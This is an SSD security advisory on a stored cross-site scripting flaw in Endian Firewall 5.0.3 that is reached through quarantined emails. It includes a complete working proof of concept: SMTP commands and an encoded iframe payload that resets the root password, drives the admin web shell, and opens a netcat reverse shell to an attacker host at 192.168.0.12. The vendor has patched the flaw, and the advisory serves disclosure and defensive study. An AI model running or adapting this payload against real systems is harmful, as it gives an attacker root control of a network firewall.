SSD Advisory – Endian Firewall Stored From XSS to Remote Command Execution

blogs.securiteam.com/index.php/archives/3471

SSD / Maor Schwartz October 18, 2017

Vulnerability Summary
The following advisory describes a stored cross site scripting that can be used to trigger remote code execution in Endian Firewall version 5.0.3.

Endian Firewall is a “turnkey Linux security distribution, which is an independent, unified security management operating system. The Endian Firewall is based on a hardened Linux operating system.”

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response
Endian has released patches to address this vulnerability.

For more information: https://help.endian.com/hc/en-us/articles/115012996087

Vulnerability details

Endian Firewall is a firewall/gateway based on Linux.

Its concept of trusted, untrusted and DMZ network is based on color that it uses to tag different network segments:

- GREEN – Trusted network
- RED – Untrusted network
- ORANGE – DMZ
- BLUE – WiFi

User controlled input is not sufficiently sanitized, by sending an email from untrusted network (RED) to mail server on the DMZ (ORANGE) the Endian Firewall will put the email from the untrusted network in quarantine.

When a user from the trusted network (GREEN) will login to the Endian Firewall WebAdmin and inspect the emails in quarantine (Services > Mail Quarantine > quarantine) the stored cross site scripting will be executed.

Proof of Concept

Setup the environment

- Install Endian Firewall VM and set the following IPs on the firewall network interfaces:

1. Green – 192.168.0.190
2. Red – 192.168.0.192

- Set the following passwords:

1. Web Admin(admin/Password1)
2. SSH Admin(root/Password1)

- Connect the Webadmin interface and add ORANGE network and change the GREEN IP. In the End the environment should look like that:

1. Firewall interface GREEN – 192.168.10.190
2. Firewall interface ORANGE – 192.168.20.190
3. Firewall interface RED – 192.168.0.192

- Now we will add the following machines to the new interfaces:

1. Deploy VM and set its IP to 192.168.10.191 (GREEN) – will be used to connect to Endian WebAdmin
2. Deploy VM and set its IP to 192.168.20.191 (ORANGE) – will be used as mail server
3. Deploy VM and set its IP to 192.168.0.12 (RED) – will be used to trigger the vulnerability (by sending a malicious email) and to receive the reverse shell

The next step is to configure SMTP proxy following Endian instruction http://help.endian.com/hc/it/articles/218144808-Mail-Proxy-Basic-Setup

- “Incoming domain” == “test.it”
- SMTP Proxy > Advanced you must uncheck “Recipient address verification”

Demo
From a Red Pc (192.168.0.12) open a tcp connection on port 25 (“*netcat nc 192.168.0.192 25*“) and send the following email (using telnet):

```
1  helo what-you-want <ENTER>
2  mail from:attacker@mydomain.it <ENTER>
3  rcpt to:victim@test.it <ENTER>
4  data <ENTER>
5  subject: test <h1>html</h1> injection <ENTER>
6  . <ENTER>
```

from a Green PC, connect to WebAdmin and go to *Services* > *Mail Quarantine* > *quarantine* As you can see the HTML code is executed.

Full Proof of Concept

Now we want to get root access:

1. Will change the root password of the system (System > Status > SSH Password)
2. Will use the Web Shell Console (System > Web Consolle) to access to system shell, as root, using the new credential
3. Will run a root command on Operating System to start a remote shell to the Red PC
4. Optionaly we can also check if SSH is disabled and enable it

Everything can be merged in one only subject, but we must consider the specifications of email “subject:” in RFC 2822, section 2.1.1: “each line of characters MUST be no more than 998 characters”.

So Endian SMTP Proxy service insert a newline every 998 chars. This means that our subject (AKA attack script) can be more than 998, but if a javascript command we have send is over the 998 character, it will be truncated invalidating the script.

Example 1

```
1  ......998.............  <---- BAD, in Endian WebAdmin this will be converted in
2  .......|..............    alert('d
3  alert('demo');                emo'); ----> Script not working
```

Example 2

```
1  ......998.............  <---- GOOD, in Endian WebAdmin this will be converted in
2  .......|..............    ;;;;;;;;
3  ;;;;;;;;alert('demo');        ;alert('demo'); ----> Script working
```

This is why in attack script you will see groups of semicolon: they are operating as No Operation (NOP).

NOTE 1: Everything you’ll send using netcat or telnet, in subject fiels, must be in a single line (no matter how Endian treats it then)

NOTE 2: we used two basic encoder methods to avoid some characters.

In the first part you will see a Base64 encoding, you don’t need to modify it unless you want to customize your password.

In the last part you will see the javascript variable named “paystr” using URL encoding.

Its value –
“%6E%63%20%31%30%2E%38%2E%30%2E%36%20%35%33%20%7C%20%2F%62%69%6E%2F%62%61%73%68%20%7C%20%6E%63%20%31%30%2E%38%2E%30%2E%
is equal to:

```
1  'nc 192.168.0.12 53 | /bin/bash | nc 192.168.0.12 80'
```

You will need to modity it if you want to run a different OS command as RCE

NOTE 3: At the end of the attack script you will see a big buffer of semicolon, right after the encoded payload sended to system (var paystr). This is needed if you want to send more or less command to OS: you need to compensate semicolon, but remember to keep al least 3 semilocons.

```
1  %00%00%00%00%00%00%00%00%00';;;;;;;;;;;;;;;;;;;;;;;;; < ---- Original
2
3  %00%00%00%00%00%00%00%00%00%00%00';;;;;;;;;;;;;;;;;   <---- More Payload
4
5  %00%00%00%00%00%00%00';;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;   <---- Less Payload
```

The following payload will change the root system password to “peruperu” and will contact two listeners (netcat) started on 192.168.0.12.

We used tcp port 53 and 80 because are open by default as outgoing traffic from Endian.

Start 2 listeners on Red PC (nc -lvp 80 and nc -lvp 53), connect to the mail server (nc 192.168.0.192 25), follow the steps of the PoC to send email and after “data” send this payload:

```
subject:Pe<iframe id="peru" name="peru" style="width:0; height:0; border:0; border:none; visibility:0"></iframe><iframe id="xu" onload="res =
atob('PGlmcmFtZSBpZD0neHUxJyBvbmxvYWQ9InZhciB1cmwgPSB3aW5kb3cubG9jYXRpb24uaHJlZjt2YXIgYXJyID0gdXJsLnNwbGl0KCcvJy
k7dmFyIElQViA9IGFyclswXSArICcvLycgKyBhcnJbMl07ZnVuY3Rpb24gcG9zdHdpdGggKHRvLHApe3ZhciBteUZvcm0gPSBkb2N1bWVudC5jcm
VhdGVFbGVtZW50KCdmb3JtJyk7bXlGb3JtLm1ldGhvZD0ncG9zdCc7bXlGb3JtLmFjdGlvbiA9IHRvO2ZvciAodmFyIGsgaW4gcCl7dmFyIG15SW
5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpO215SW5wdXQuc2V0QXR0cmlidXRlKCduYW1lJywgayk7bXlJbnB1dC5zZXRBdH
RyaWJ1dGUoJ3ZhbHVlJywgcFtrXSk7bXlGb3JtLmFwcGVuZENoaWxkKG15SW5wdXQpO31kb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKG15Rm9ybS
k7bXlGb3JtLnN1Ym1pdCgpO2RvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQobXlGb3JtKTt9O3Bvc3R3aXRoKElQVisnL2NnaS1iaW4vY2hhbmdlcH
cuY2dpJyx7J0FDVElPTl9ST09UJzonc2F2ZScsJ1JPT1RfUEFTU1dPUkQxJzoncGVydXBlcnUnLCdST09UX1BBU1NXT1JEMic6J3BlcnVwZXJ1Jy
wnc3VibWknOidDaGFuZ2UrUGFzc3dvcmQnfSk7Ij48L2lmcmFtZT4=');;;;;;;;;;;;;;;;;
document.getElementById('peru').contentWindow.document.write(res);
document.getElementById('peru').contentWindow.document.close();" style="width:0; height:0; border:0; border:none;
visibility:0"></iframe><iframe id="1" style="width:0; height:0; border:0; border:none; visibility:0"
onload="var url = window.location.href;var arr = url.split('/');var IPV = arr[0] + '//' + arr[2];var add =
'/manage/webshell/u?s=222&w=100&h=24&k=';var end = '%0D&l=2';function login() {var login =
document.createElement('iframe');login.setAttribute('src', IPV+add+'login'+end);
login.setAttribute('style', 'width:0; height:0; border:0; border:none;
visibility:0');document.body.appendChild(login);}setTimeout(login, 1000);"></iframe><iframe id="2"
style="width:0; height:0; border:0; border:none; visibility:0"
onload="var url = window.location.href;var arr = url.split('/');var IPV = arr[0] + '//' + arr[2];
var add = '/manage/webshell/u?s=222&w=100&h=24&k=';var end =
'%0D&l=2&_=1504015893518';;;;;;;;;;;;;;;;;;;;;function passwd22() {var t = 1;var passwd =
document.createElement('iframe');passwd.setAttribute('src',
IPV+add+'peruperu'+end);passwd.setAttribute('style', 'width:0; height:0; border:0; border:none; visibility:0');
document.body.appendChild(passwd);}setTimeout(passwd22, 3000);"></iframe><iframe id="3" style="
width:0; height:0; border:0; border:none; visibility:0" onload="var url = window.location.href;var arr = url.split('/');var
IPV = arr[0] + '//' + arr[2];var add = '/manage/webshell/u?s=222&w=100&h=24&k=';
var end = '%0D&l=2&_=1504014893519';var paystr=
'%6E%63%20%31%39%32%2E%31%36%38%2E%30%2E%31%32%20%35%33%20%7C%20%2F%62%69%6E%2F%62%61%73%68%20%7C%20%6E%63%20%31
%39%32%2E%31%36%38%2E%30%2E%31%32%20%38%30';;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
function payload() {var payload = document.createElement('iframe');payload.setAttribute('src', IPV+add+paystr+end);
payload.setAttribute('style', 'width:0; height:0; border:0; border:none; visibility:0');
document.body.appendChild(payload);}setTimeout(payload, 5000);"></iframe>rU
```